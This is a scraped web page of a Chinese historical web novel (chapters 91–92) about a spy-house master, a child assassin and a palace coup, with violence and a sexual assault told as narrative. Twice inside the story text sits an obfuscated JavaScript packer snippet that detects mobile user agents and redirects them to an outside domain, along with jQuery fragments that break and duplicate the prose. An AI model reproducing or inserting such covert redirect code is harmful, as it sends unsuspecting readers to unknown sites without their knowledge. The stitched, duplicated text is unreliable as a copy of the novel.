霜栽伸手避退了屋里的其他人,只留下了那个跟在自己身后的小姑娘。 “她就是素姝?”江阮没回答霜栽的话,反倒是伸手招呼小孩过来,“上次做得很好,要什么赏?” 小姑娘拗着没说话,江阮不怒反笑,“你母亲自愿为大业献身,她的遗愿我自会遵循,可是如今天下不太平,你留在楼里还能留条命。怎么,你因为母亲记恨上我了?” “素姝不敢。但我想问您一句,这大业何时能成?” 素姝低着头,江阮抬起来的手犹豫了一下又收了回去,“快了,保准能在你最好的年纪将你嫁出去。” “我不是这个意思。”素姝顿身,“我只希望母亲能早些看到那一天。” 眼前九岁的小丫头说出这番话,江阮不觉得意外,只是这次他没有答她,他看得出素姝的心事,他想让素姝再想清楚些。 “上次行刺之时,其余二人的样貌你可看清了?” 素姝点头,江阮继续问:“那两个里面,你觉得谁更好杀?” 素姝没吭声,江阮轻笑道:“那姑娘给了你玉钗,舍不得她?” 素姝的手慢慢握紧了,露出被人说中心事时的紧张神情。 做灵谍的,最忌讳什么恩情道义,咱们下手的那一刻就没有退路了,恩情道义到最后都是捅向咱们的刀子。 这些话自素姝入楼起每日都会有师父带着她们背诵,可素姝年纪小,一开始并不能理解这其中的意思。 虽说她是同届选拔中最优胜者,但这只能说明她有做灵谍的本事,却不能说明她适合做灵谍。 刺杀平海,是素姝接到的第一个一等任务,毫无疑问,她完成的很好。可从那之后,她总能记起给了自己玉钗的姐姐的眼睛。她看上去冷冷的,全程都没有说过几句话,她从怀里拿钗子的时候满是犹豫,可丢钗子的时候,却很果决。 自己却拿那把钗子插进了她同伴的胸口。 素姝在执行任务前经历过很多训练,也用刀剑和敌人较量过,她见过血,也杀过人。可这次不同,玉钗插进那个人胸口的时候,玉钗好冰,而他的血好烫。 就差一点,素姝就要收手了。 那时她的大脑像一锅快要扑出来的粥,翻滚着的思绪牵制着她的双手,她好似能听到心跳,但她分不清是自己的,还是玉钗上那颗心在颤动。 他们,好像不该死啊。 素姝被脑子里这个念头吓了一跳,她从小被灌输的思想是为天下惩奸除恶,但什么是恶,没有人教过她。此刻在她的眼中,她杀死的是好人。 “素姝,完成任务活着回来。” 突然,另一个更为强大的声音盖住了素姝的耳朵。临行前母亲抱着她一声声嘱咐,说无论如何不能坏了楼主的计划,她们的命是霜栽救的,她们就是楼主的人。 于是素姝旋转了玉钗,将它刺到了更深处,直到她触碰到那个人的身体。她看到那个比霜栽大不了几岁的哥哥看着自己,眼神里全是难以置信和悲戚。 下一秒,素姝逃走了。她受不了人群的喧闹,更受不了他们看自己的眼神。 素姝连夜跑回了泯川楼,所有人都在为她贺喜,说她是大业的英雄。鸢绫抱着她像是要将她揉进自己怀里,一遍遍和她说:“你做得好。” 真的吗? 素姝勉强扯出一抹微笑,回抱住母亲。鸢绫以为她是激动才落了泪,却不知道素姝眼睛里的泪水更多的是为自己而流。 在那之后素姝练功更刻苦,出任务时刀刀毙命,她不敢再留给自己思考的时间。 这是她能麻痹自己的唯一方式,只要她抽身快,血就溅不到她的脸上。 她以为她这辈子就这样了,直到鸢绫死后,霜栽抱住她说:“再过些日子,我会送你去一个信得过的大户人家,他们没有子嗣,会好好待你的。到时候,你会以大户人家正室之女的身份嫁出去。” 那时候素姝才知道,原来母亲早就察觉出了她的异常。鸢绫谨小慎微地活了一辈子,她最擅长看人眼色,自己这女儿不过八九岁,她还是看得清的。 于是鸢绫选择用死断了素姝的所有念想,让她去走一条康庄大道。 “没事,你不用回答我。那两个人你不会再碰到了。” 素姝明白江阮的意思,她只觉得心里头刚被缝好的口子又扯了条缝。 “下去吧,我与你霜栽姐姐要谈事情。” 素姝恭敬地朝江阮行礼,临走时看到霜栽望自己时眼神复杂。 “可惜了,她的身手不逊于你。” 素姝走后,江阮叹着气摇头道。霜栽没回他,走到他对面坐下,“你会信守承诺的对吗?” 闻言,江阮无奈地挠了挠眉心,作出一副无可奈何的表情,“我倒也不至于非要取一个小姑娘的性命。” 他顿了片刻补充道:“但现在不能放她走,她知道太多关于泯川楼的事情,你把她带在身边,看好。出了事我可不负责。” 霜栽没应声,江阮又偏头看她,“怎么,他都不敢露面就扰了你的心绪?” “没有,”霜栽斩钉截铁地答,“不是因为他。” “那就是因为我。” 江阮笑了笑,走过去给霜栽倒了杯茶,“当时那人要我杀了陈京观,下的可是死命令,我那般做为的也是保住他的性命,算是杀鸡儆猴。只是我没想到陈京观没有就此罢手,反而越挫越勇。” “可你借的是我的刀。” 霜栽看着茶杯上起伏的茶叶,好似又回到了几年前,那时她还是阮青衣救回来的小丫头。 现在,她成了泯川楼的掌柜,知道了这一切的背后都是江阮,是她叫过哥哥的人。 “只有这样,你才能彻底断了念想。” 江阮走过去钳住霜栽的下颚,眼前的人微微皱眉后他又松了手。 “当初母亲救你,是看在你与我们同病相怜。我也没想着求你回报,是你自己找上来。” 霜栽被江阮说的哑口无言。的确,这都是她自己愿意的。 她一家被卖给人牙子,一路上死的死散的散,孟遥鹤被丢在江边的时候她觉得天都塌了,亏得在崇州遇到了阮青衣。 霜栽信任阮青衣,是因为她有个与自己差不多大的儿子,名叫江阮。她对霜栽如同对江阮一般好,霜栽舍不得这好不容易又有的家。 可人生没有不散的筵席,阮青衣还是走了,她交给霜栽吃饭的本事,然后被娘家人领走了。 霜栽记得那天自己哭了好久,后来她才知道,带阮青衣走的是东亭皇室。阮青衣与东亭老皇帝有一子,名叫姚渊,不过霜栽知道的是他的另一个名字,江阮。 那时的东亭已经被北梁灭国,留下的都是些傀儡,她不知道阮青衣为什么选择在这个时候公布江阮的身世,她只知道江阮和阮青衣被带走后,阮青衣就死了。 霜栽再遇到江阮,是他来到泯川楼接任掌柜的那天。霜栽追着他问了很多,可他对阮青衣的死三缄其口,只说了一句。 “你想不想要报仇?” 为了孟家,为了阮青衣。 也是那时,霜栽知道自己所在的泯川楼实际上是东亭灵谍的据点,而江阮此番过来,是接管灵谍的一切。 霜栽不知道江阮失踪的那些日子他到底经历了什么,他是如何做到今天的位置,她只看到原本沉默寡言的江阮开始左右逢源,变成了人人称颂的江公子,而阮青衣留在他心上的疤,源源不断在向外渗血。 不出意料,霜栽成为了灵谍,她做事狠辣果断,并且凭着在泯川三界的名号吸引来了许多看客,其中有些成了新的灵谍,有些则成了江阮的猎物。 他们两个就这样相互扶持着,跌跌撞撞拥有了现在的一切。 此时的霜栽再看江阮,已经看不到少年时他腼腆的笑,如今的江阮经常喜笑颜开,可霜栽看 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霜栽直视着江阮的眼睛,“可我对你绝对信任,不然我不会拉来我的亲哥哥。” 茶杯里的茶叶荡起涟漪,只是不知是哪一方的动作乱了对方的思绪。四目相对时,江阮和霜栽的心里都是五味杂陈。 霜栽这句“亲哥哥”几近咬牙切齿,她望着江阮的时候眼睛里像是能滴出血。 霜栽还记得她知道晏离鸿就是孟遥鹤那一天,她满怀的失而复得转瞬变成怀抱中的一团空气,江阮很早之前就知道晏离鸿的身世,但是他没有告诉霜栽,直到晏离鸿出现在她面前,她才知道自己一直费劲招揽的陆家二子,就是自己的亲哥哥。 晏离鸿,原本已经离开这片泥沼了,他在陆家可以有个光明的前程,他前辈子的血泪可以成为上辈子的过往。 可霜栽把他拉了下来,让他也溅上了一身血。 “江阮,人不能只有利用的关系,不然你都不知道自己是怎么死的。” “哦?”江阮松开手上的力度,霜栽稳住了茶杯,“你要杀我?好,我引颈受戮。” 说着,江阮把脖子伸到霜栽面前,他轻轻合上眼,神色中居然还有一丝期待。 “疯子。” 江阮没动,可脸上笑意膨胀,“多谢夸奖。” “对了,苏清晓失联了。” 霜栽话锋一转,江阮倒像是早有预料,“我知道。他和你们不同,他怕事情败露,迟早会走的。不过他既想要搏个宏图伟业,又想图个高风亮节,真贪啊。但愿陈京观能给他吧。” 江阮轻蔑地笑着,可转头望向霜栽的时候看到了她那没来得及藏的心事。 “怎么,还惦记你们的亲事呢?” 江阮说罢哈哈大笑。霜栽早就习惯了客人语言上意味不明的招惹,但是这话从江阮嘴里说出来,她突然有些不明所以的恨。 江阮当初选上苏清晓,也是她的缘故。 江阮把霜栽身边的所有人都拉下来给他们陪葬,这的确是江阮的性格,可霜栽只觉得浑身发冷,觉得恶心。 就好像她成了恶疾,沾染上她的人,都不得好死。 “江阮,”霜栽语气郑重,“你有想过败了之后,我们会担什么样的名声吗?” “啧,”江阮脸上露出一丝不耐烦,“果然还是高门长出来的贵女,心里头还惦记那虚无的名声。不像我,生出来就是见不得光的私生子。” 江阮的眼神变得阴鸷,他瞧霜栽时眼神像刀一般划过她的皮肤。 “真不该让你去拉拢陈京观,你如今说话越来越有他的味道,一样的瞻前顾后,一样的虚伪。” 霜栽无话可说,准备起身离开,可江阮出声叫住了她。 “你只要记得你要什么,就不会在意其他的了。你孟府死的那么惨,你就不想一刀一刀还回来?收起那些不值钱的同情心吧,你被践踏的时候,可没人同情过你。” 江阮语气中的嘲讽不加掩饰,他平日与霜栽说话时并非如此,可今天的霜栽太像陈京观了,太像那个让江阮这辈子第一个尝到失败滋味的人了。 江阮此刻说给霜栽的,也是他想要说给陈京观的。不过他不急,总有机会的,他会让陈京观切身体会到这一切。 91.祸起萧墙(二) “楼主,宫里加急送来的信。” 霜栽刚走,江阮的门就被手下推开。江阮抬眼看了那人一眼,他立刻跪到了地上,“情急,小的没了规矩,还请楼主恕罪。” “你念吧。他三句话放不出来一个屁,他又惹什么祸了?” 江阮坐到了霜栽原先的位置上,可跪着的人半天没动,江阮又低头看着他。 “哪儿传的消息?” “凤鸾殿。” 江阮眉头一皱,心中已有预料,但他不死心,一把抢过谍子手里的信。 “速归。” 落款处没有留下姓名,可斑斑泪痕直戳江阮的心肺。 他认得出,这是宋衾褰的笔迹。 “她怎么了?” 江阮快步上前抓住了眼前人的衣领,那人被这突如其来的动作吓住,半天说不出一句完整的话。 “说清楚,她怎么了。” 江阮的胸膛剧烈起伏,语气中的愠怒直扑在谍子脸上。 “宋姑娘,”谍子紧张地直咽口水,“被皇帝封了妃。” 封妃。 一时间,江阮的大脑只有这两个字,他心里好似被一把刀直插进胸口,让他喘不上气。 “她愿意的?” 谍子没说话,江阮了然地冷笑着,他松开了谍子,转身拿起自己的佩剑。 “姚康,你也不看看你是什么东西,怎么敢的。” …… “人呢?” 江阮这一路走得急,什么人也没带,就一个人持着刀上了未央宫。 这里半年前还是东亭旧宫,处在济州和朔州边界,北梁拿下东亭后把着做了胜利者的纪念碑,平日里除却几个打扫的,这宫殿里连鬼影都没有。 此时,未央宫红烛盏盏,姚康像是料定了江阮会来,他坐在最上头的皇椅上,一副睥睨天下的样子。只可惜他没有元衡的气度,也没有萧霖的城府,甚至比不得东亭老皇帝的阴狠,坐在那里就像是狐假虎威的孩童。 一个三四十岁的孩童。 “等着我呢?好啊,你有什么遗言吗?” 说话间,江阮的剑鞘应声落地,周围的侍卫围了上来,却不敢靠近,只得像影子一般亦步亦趋地跟着江阮。 “你这是哪儿的话,我堂堂东亭皇帝,找几个女人怎么?宋衾褰是我知根知底的妹妹,我锦衣玉食养着她,不比她在那穷乡僻壤活着好?” 姚康一脸无所谓的样子刺激着江阮,而江阮看到了红帐后躲着的人影。 “你出来。” 那人影没动,可旁边的烛火出卖了她,她止不住的颤动扰了风,带着那火星闪耀在江阮的眼睛里。 “宋衾褰,你出来。” 江阮又重复了一遍,下意识将手里的佩剑握紧。眼前的人慢慢从红帐里探出身,她穿着从未穿过的锦绣绫罗,满头珠翠,可她像个被装进去的人偶,脸上没有一丝血色。 “江阮……” 宋衾褰的喉咙刚开口就涩住了,她念着江阮的名字,却说不出一句话。 眼前的,一个是她的弟弟,一个是她的哥哥。 “你是自愿的吗?” 江阮问出了心中已有答案的话,他在想若宋衾褰要保下姚康,他要怎么办?他还会杀了姚康吗? 这是他这辈子第一次犹豫。 还好,宋衾褰用沉默回了他。 “好,我知道了,姐姐。”江阮顿了一下,“你躲一下,别脏了你的衣裳。你穿这个挺好的,我以后再给你买。” 江阮的话带着嬉笑的调子,可宋衾褰的眼泪流啊流啊,她紧咬着嘴唇,却在嘴里尝到了血腥气。 那日夜里,她也尝到了同样的血腥气。 “姚康?你此时不该在书房议事吗?阮儿说过些时日又要打仗了,你要紧着些政事,你……” 宋衾褰的话还没说完,姚康就扑了上来,他撕咬着,如同宋衾褰幼时猎到的那头野狼。 “你做什么!” 宋衾褰推开他,她跟着父亲打了半辈子猎,身上有的是力气。在姚康后退的瞬间,宋衾褰拿刀抵在了他的胸口。 “你要杀我?” 姚康饶有兴趣地看着宋衾褰,一步步朝她逼近,直到那把刀快要戳破他的衣服,宋衾褰松了手。 “你这辈子最好的出路,就是今日做了我的妃子。” 姚康轻蔑地笑着,宋衾褰觉得他的笑是如此刺眼。她见过姚康很多种不同的笑,可唯独今日的她第一次见,那是一种轻佻的笑。 “姚康!我父亲与你有恩!” “恩?”姚康轻挑眉,“宋穆清不过是我母妃的手下,他救我,理所应当。” 姚康自然知道眼前的女子有心气,可是他想得到的,如今都得到了,她也不该例外。 他朝两旁招手,屋外等着的人一涌而山,宋衾褰缚起袖子拼命反抗。她没想到父亲教给她防身的招数,她都用在了自己人身上。 可寡不敌众,宋衾褰打得过三个五个,撑得了十个八个,屋外却是源源不断的人,最后她散了头发花了妆,衣袖也不知在何时被扯烂。 宋衾褰恶狠狠地盯着姚康,身上的痛楚已经掩不了她心中半分,她迅速抄起剑,直指姚康的喉咙。 “你再上前一步,我们同归于尽。” 姚康拿准了她不会束手就擒,但也没想到她手上的剑真的划伤了他的皮肤。 “你刚才没杀我,你就已经输了。” 下一秒,姚康的手缚住了宋衾褰的胳膊,周遭的人围上来将她按在了床榻上,她的四肢,她的脖颈,她感觉这场面异常熟悉。 宋穆清宰杀黑熊时,就是将它这般捆绑起来的。 “你该学学江阮,他下手从不废话。” 姚康冷笑着,抬手指使所有人退下,然后一步一步走近宋衾褰。 直到这个时候,他也不喜欢宋衾褰,她太野了,不像东亭柔情似水的美娇娘。但是征服宋衾褰,是他夺权的第一步。 姚康知道宋衾褰一直看不起他。虽然口口声声叫他哥哥,可他知道宋衾褰只认江阮。 可他已经是皇帝了,宋衾褰不能再看不起他了。 他就是要让她低头认错,承认自己比江阮更厉害。 他就是想看着江阮发疯,他想看那个道貌岸然的小人发疯。 江阮把他当作傀儡,当作他复仇的工具,江阮也看不起他,可他才是皇上。 既然把我扶到了这个位子,姚康想着,我姚氏还从未出过受人辖制的皇帝。 说完,姚康褪下了衣袍,还有他这么多年的掩饰。 宋衾褰第一次真切地看到姚康。 那天的梦很长,她好像又过了一生。 幼时她被弃遥州的山野,是宋穆清打猎时捡到了她。宋穆清本想把她送给别人家,可她是个丫头,宋穆清每次上门总要打量一下对方的环境,思虑对方的想法,怕将她送到狼窝里。 最后宋穆清放弃了,这乱世里想找个能好好对待女子的家,他寻不到。 于是宋穆清把她领回了家,那时候她七岁,宋穆清问她名字,她自己也不知道,父母没把她丢掉之前只唤她七娘。 宋穆清给她起名宋衾褰,寓意她这辈子吃饱穿暖就好。 从那时起,宋衾褰有了家,她每天跟着父亲打猎捕鱼,虽然日子清苦,可宋穆清待她很好。 宋穆清原是东亭军人,具体做什么的他从未和宋衾褰提过,宋衾褰只知道他每到冬日就浑身疼,他的病在骨子里,治不好。 尽管如此,宋穆清每次收了帐还是会往床底下塞些银钱,宋衾褰问他这是做什么的,宋穆清说是她的嫁妆。 日子就这样过着,直到北梁的军队踏破东亭的城门,那场仗打得很快,短短两年东亭覆灭。 北梁摆庆功宴的那天,宋穆清安顿好了宋衾褰,给她打了一把锋利的尖刀,然后出了门,整整两个月未归家。 再回来时,宋穆清带来了姚康。 也是那时候宋衾褰才知道,宋穆清原本与姚康母亲青梅竹马,可东亭大选,姚康的母亲进了宫封了妃。宋穆清嘴上说着死心了,却找了关系做了灵谍,就为了每个月能进宫去远远看一眼。 东亭灭国前,宋穆清看到了那久违的笔迹,她只在信上说,“救救我的儿子。” 宋穆清没犹豫,他唯一担心的只有宋衾褰。可那份信就像长了魂,无时无刻在他耳边念叨,终于,他等到北梁交接俘虏营的时候,一把火烧掉了整个营地,从火场中带出了姚康。 于是两口之家成了三口之家,姚康那时十九岁,宋衾褰叫他哥哥。 那之后没多久,有一日宋衾褰去湖边洗衣服,她的手在水里淘洗着,却发现水成了红色,她往上游走,看到了奄奄一息的江阮。 宋衾褰也不知道自己哪里来的力气,她硬是把江阮背回了家,宋穆清看到江阮的时候直摇头,说救不了了,人都快冷了。 可宋衾褰用自己的嫁妆钱跑到山下换了药,一勺一勺把江阮救回来了。 从那之后,江阮这辈子就认宋衾褰。 宋衾褰,成了江阮唯一的善念。 可是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15044502|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样一个家,又怎么安稳的了。一个是狼子野心,一个是剑戟森森,姚康和江阮越走越近,姚康手下的余烬死灰复燃。 慢慢的,他二人的手伸到了遥州外边,江阮的生意越做越大,姚康的野心也就越来越大,宋衾褰忘记是在什么时候听到“东亭复国”这几个字眼的,她只知道从那之后她就没睡过一个安稳觉。 终于,江阮的筹谋花了六七年初见雏形,而他们三个,成了这副模样。 “姚康,你今天的一切都是我给你的,你觉得我拿不回来?” 江阮向前走了一步。 “你原本可以一直做你的皇帝梦,可你非要动她。宋衾褰救过我的命,我不像你,忘恩负义的东西。” 江阮又向前走了一步。 “是,当初我借的是你的人,可只凭你,那些人死都不知道怎么死的。姚康,你知道你为什么能活过夺嫡之争吗?因为姚廣也觉得你蠢。” 江阮又向前走了一步。 “蠢货就该愚蠢地活着,可你偏要自作聪明。你再等等,说不定我就把南魏给你了,可惜,你没命做这个皇帝了。” 话音落,刀剑起。 江阮越过人群,直冲向姚康的命门,姚康将身前的人当作盾牌,抵挡着江阮发疯似的进攻。 江阮不知道自己面前死了多少人,他只听到宋衾褰喊了一句“爹!”,他停下手上的动作,发现眼前倒下去的是宋穆清。 “宋叔!” 江阮回过神,他的脸上满是滚烫的鲜血,姚康就躲在龙椅后面,露着一个脑袋,而江阮后面,是他带来的兵,晏离鸿送给他的兵。 “楼主,未央宫已肃清,不会有任何风声传出。” 底下的声音不算响亮,可在这偌大的宫殿里,除却彼此的呼吸声,就只剩下这句话在回荡。 东亭兵变,江阮夺权。 “江阮!我是姚氏的后人,我才是东亭的正统,你夺了我的位,天下不会服的!” 姚康预料中来勤王的兵都死在了长阶上,他看到大殿门被打开的一瞬就死了心。可他能输,但他绝不认输,他要让天下谴责江阮的行为。 而江阮好似想到了他这番说辞,他将宋穆清安顿在一旁,伸手将脸上的血泪抹擦掉,他止住了要跟上来的兵,一步一步走向姚康。 “正统?何为正统?我的好叔叔,姚家的血脉是正统的话,我姚渊亦可坐上那个位置。” 江阮的话震耳欲聋,眼前的姚康像是见了鬼魂,“不可能!你与你那个戏子娘已经……” 姚康话还没说完,江阮的剑已经插进他的胸口,鲜血飞溅,红黄相衬。 “就你也配提我娘?死到临头还要趁口舌之快,果然是蠢货。” 又是一剑,与刚才的血窟窿相对应的地方也涌出鲜血。 “姚康,你以为我让你坐在这里是为什么?是因为我不敢吗?”江阮笑着,拉着姚康的领子往宋穆清身边走,“你是我的傀儡,也是我的挡箭牌。不过现在不需要了,他已经知道我是谁了。” “小阮,留他一命行不行?” 宋穆清气息奄奄,江阮看了他一眼,眼神里充斥着不可思议,“宋叔,他刚才让您挡了剑,您替他说话?” “我替他死,行不行?” 宋穆清的眼睛慢慢合上了,宋衾褰在一旁抱着父亲的头颅失声痛哭。 昨晚她之所以放弃抵抗,就是因为姚康用宋穆清的性命作要挟。 她知道宋穆清可以为姚康放弃一切。 她觉得她也在此。 “小褰别哭,我……” 宋穆清想安慰宋衾褰,却一句话也说不出来,在今日被姚康叫上殿之前,他还不知道宋衾褰所遭受的一切。 就在刚才,宋穆清差点拿刀杀了姚康。 “算了,今日我死,死在替他而死,也算对得起他母亲。至于姚康……” 宋穆清的话最后还是没有说完,他的手臂垂下去了,宋衾褰感觉臂弯里的重量大了些,她知道宋穆清走了。 她的家没了。 “去死吧。” 江阮的剑一剑封喉,姚康嘴里的话被喉咙里漫出的血色压制,他张着嘴,却只能吐出混着呓语的鲜血。 “今日之事,若有一句话传出未央宫,他就是你们的下场。” “是!” 宫殿内声音震天,江阮却听不到了。 他觉得他方才还是心软了,竟然和姚康说了这么多,他如果上殿就杀了他,宋穆清就不会死。 原来被陈京观影响的,不止霜栽一个。 92.祸起萧墙(三) 江阮留在了未央宫,但是他未称帝,宋衾褰的事情没有传出去,他夺权的事情也没有。 没了姚康这层阻隔,江阮对东亭的掌握更直接了,他料定陈京观会来打朔州,无关谁是守军,无关有多少兵力。 他觉得陈京观此刻最想质问的人不是晏离鸿,而是自己。 这也是江阮的目的,他所做的一切都是为了将陈京观引出来,然后永绝后患。 随江阮来夺权的昌安军被他四散在朔州各处,负责管理闲散的东亭军,如今东亭举国能派出五万人,而陈京观即使加上陆栖野也只有两万,不过比起他们的军队,江阮对那些充人数的东亭军没报多大希望。 他们大多是东亭旧族留下的兵油子,还有一些投机取巧的人,若是东亭老皇帝手下的兵尚且可以一用,但经历了姚廣,再经历姚康,这些人多没什么气力了。 不过他不觉得自己会输。 “小阮。” 江阮低着头看最后的作战部署,门口的声音响起,他没有抬头。 从那天之后江阮没有再见过宋衾褰,或者说他没有再去见宋衾褰,他觉得宋衾褰不知道怎么面对他。 江阮给宋穆清选了块依山傍水的墓地,在那里能看到他们小时候生活的那条河,宋衾褰跟着队伍去送了父亲最后一程,江阮没去。 他知道能让宋衾褰放下一切的,只有宋穆清。 他怪过他,在很久之前就怪过。 深究起来,这件事是他这周密计划里唯一的偏差。 不过无伤大雅,江阮迟早要从幕后现身,他没想着躲。 只要他想做的能做成,他不在乎任何人的目光。 “你打算这辈子都不见我了吗?” 宋衾褰走过来,将江阮手里的笔握住,江阮深吸一口气,换了个温和的表情抬起头。 “有事吗?” “没事便不能来找你了吗?” 江阮看得出宋衾褰情绪不好,她从那晚之后就不敢睡觉,江阮把她的卧房搬到了自己的偏殿,每天守着她熄灯了才去睡。 “能,坐吧。” 宋衾褰有些后悔自己刚才说的那句话,听起来像是无理取闹,可是她心里真的有太多话想对江阮说,有太多问题想问他。 “你和姚康是什么关系?” 江阮顿了顿,毫不掩饰地答道:“我是姚廣的私生子,算起来,他是我叔叔。可笑吧,我叫了他十几年的哥。” 宋衾褰微微皱眉,“你从何时知道的?” “见他的第一眼。” 江阮语气冷了些,他手里把玩着一串珠子,像是在回忆很久之前的故事。 “他是不该记得我了,毕竟在他眼里我只是姚氏血脉的一个意外。他对我的拳打脚踢,更像是对一个玷污了他血脉的人的正常对待。” “你见过你父亲吗?” 江阮摇头笑着说,“没有,但应该和姚康一样讨厌。” 眼前的江阮神色轻松,宋衾褰试图从他的动作里寻找出一丝说谎的痕迹,可是江阮未表露分毫。 他真的放下了,他真的不在乎。 “那你是从见到他的时候开始盘算这一切的吗?” 江阮默声,半晌后开口:“他替我省了很多力。不得不说,姚氏的名号真好用。” 江阮说着,宋衾褰却听出了一丝落寞,在那之前,她从未听江阮说起名为姚渊的过去。 “其实这个‘渊’,也不是姚家族谱上的字,是母亲给我取的。”江阮笑了笑,“江渊,是不是更好听?” 宋衾褰点头应和着,可嘴里的问题却问不出口了。江阮看出她的意思,索性叹了一口气开始讲述他以为不会再提起的曾经。 “我母亲原名荆杞,是都定口一个小鱼商的女儿,姚廣南巡时在江边遇上了她,他给她许了好些天花乱坠的承诺。她那时候才十四岁,这辈子没离开过都定口,她以为自己是话本里的人,便约了和姚廣私奔。只可惜最后私奔不成,却怀上了我。” 江阮笑得无奈,语气里又有几分对母亲说不出的眷恋。 “姚廣走时并没有想要带走她,毕竟姚家的血脉,那都是千挑万选出来的。后来月份大了,肚子不好藏,她父亲嫌她丢人,就把她扔到了泯海里,她没死,甚至我也没死。她一路沿着河道走,跑到了朔州,化名阮青衣,开始在青楼卖艺。” 江阮叹了一口气,“真想让你听听她弹的琵琶,真好听。” “再后来,东亭灭国,所有东亭人都成了战俘。她想让我活命,就向北梁的军队报告了我的身世,那时候,东亭皇室在商量拿银子买命,我要是能被认回去,就能活。” 江阮顿了顿,“我是活下了,可这是用我娘的命换的。军营起火,我们的牢房却没人开锁,那些接管了俘虏营的南魏人就看着我们隔着栅栏跪下来求他们,他们在一旁笑着,起哄着,如同看圈养着的牲畜。我娘求他们放过我,他们把她带走了,再也没有带回来。” “所以这就是你攻打南魏的原因?” 宋衾褰微微皱眉,江阮思忖了片刻,“是吧。” 江阮趁着那些看守的人带走阮青衣,伙同几个有力气的砸了门栓,他去找过阮青衣,可最后他头也不回的跑了。 为此,他时常能梦到阮青衣最后朝他摆手的动作,能看到她的眼神,他知道她很痛,可她硬是一声没吭。 她不想让儿子听到。 宋衾褰觉得江阮还瞒了自己些什么。 江阮说着,朝宋衾褰摆了摆手,“你也不用这样看着我,我不可怜。至少我最后活下来了,而那些和我们关在一起的都死了。” 宋衾褰低下头避开了江阮的目光,这之后的她都知道了。 离开那火场后,江阮沿着泯川江一路北上,他不知道自己走了多久,倏忽间没了意识,他就躺在了江水里。 接着,就是与宋衾褰一同生活的这十年。 “你说,我该不该朝这天下讨一笔账?” 江阮笑着问宋衾褰,可宋衾褰却笑不出来。 江阮就这样将一切憋在心里十几年,在她之前,江阮没有和任何人说过。 江阮知道这世界上许多人的秘密,而他的秘密,才是真正的秘密。 若不是今日宋衾褰来问,江阮会在功成名就后把这一切带到坟墓里。 “所以你也不必在意那些事情,在我这里,只要你还活着就好。你若不想让旁人知道,这件事会和姚康一起烂在土里。你知道我收到你那封信的时候,我以为你打算和姚康同归于尽了。” 江阮语气轻松,他侧过身正对着宋衾褰,好像刚才那些沉重的事情不是发生在他身上。 “我是想过同归于尽,可我若反抗,他会杀了我父亲。” 江阮抿了抿嘴,一切照应上了他的猜想,“可最后宋叔还是死在了他手里。你怎么就没想过,宋叔也会因为你和他反目呢?” 宋衾褰没了声响,鼻尖一股酸楚涌了上来。 为什么,可能是因为她本来就是没人要的,又怎么敢奢望有人为了她拼命。 “我觉得我那句话,就是宋叔没说出口的。姚康这些年仗着母亲的关系对宋叔呼来喝去,慢慢的也将我们当作了他的仆人。姐,”江阮笑了一声,“宋叔其实早就看不惯他了,可偏偏他是个痴情的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15048875|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 去死吧,姚康。 宋穆清在无数个夜晚在脑海中默念,第二日照常任劳任怨,他不知道自己欠姚康母亲多少债,可他觉得他这条命够还了。 “没事,你以后不用再顾忌了,你现在知道了,有人会为你拼命的。” 江阮笑着,少有的眉眼弯弯,他笑起来很好看,至少此时这样真诚的笑时,的确是二十岁该有的率性。 宋衾褰红着眼,默默点了点头,起身过去为江阮磨了墨,看着他做最后的批注,突然她止住动作,开口道:“若这些话是陈京观问你的,你也会同他讲吗?” 江阮笑了笑,“讲给他做什么,搏一份同情?他的同情太廉价了。再说,他也不会问的,他没敢真正拿我当朋友。” …… 未央宫三百里外,陈京观的营帐灯火通明。 他们借了泯川江水流形成的天然沟壑,在此屯兵数日,所有人都在找他,而他在等一个恰好的时机。 “就照这个计划来吧。” 苏清晓若有所思地点头,看着那张地图上的“朔州”陷入沉思,半晌后才启声,“这计划里天数太多,若是行差踏错半步,就彻底输了。” 陈京观笑着应道:“见到萧霖对崇宁那含糊其辞的态度时,我就知道这是一盘死局。陈频谋算了好多,却唯独没想到是萧霖自己将权力拱手让人。事到如今我也为南魏做了些事情,除却崇宁,我没有遗憾了。” 苏清晓长叹一口气,帐子里就他二人,席英和陆栖野各自带着兵做最后的准备,平芜在等最后的命令。 “你为什么一定要现在总攻?其实你先攻打崇州,反而是更好的选择。” 陈京观没作声,苏清晓继续道,“崇州毕竟刚被拿下,江阮不可能大军进驻。我有一个奇怪的感觉,他拿下崇州,就是为了刺激你。” 苏清晓的话说得委婉,但陈京观明白他的真意。 他杀了温书让,就是为了刺激你,这才是苏清晓想说的。 “如果一切如你所说,那不打,我还能做什么呢?你觉得崇宁会让我回阙州吗?她会给我兵吗?萧霖会帮我吗?都不会。若我再一味的等下去,江阮会用更多人命将我引出来。” 在江阮万无一失的计划里,陈京观是唯一的变数,他一定会及时将这个变数根除。 苏清晓无奈地笑了,“他这辈子没输过,唯独你,没中他的套。” 陈京观笑而不语,或许是因为最初就对江阮抱有怀疑,所以陈京观不敢与他交心,可即便是如此,陈京观对他也生了恻隐之心。 江阮的确是一个很会拿捏人心的人。他从不以高位的目光打量任何人,反倒是仰视着向所有人示好。他为每个人提供着无私的帮助,让人们渐渐卸下了对他的防备,甚至对他产生了依赖。 陈京观在廊州的时候无数次想要同江阮开口,他觉得粮仓之事必有转机,可当他生出这心思的时候被自己吓了一跳。 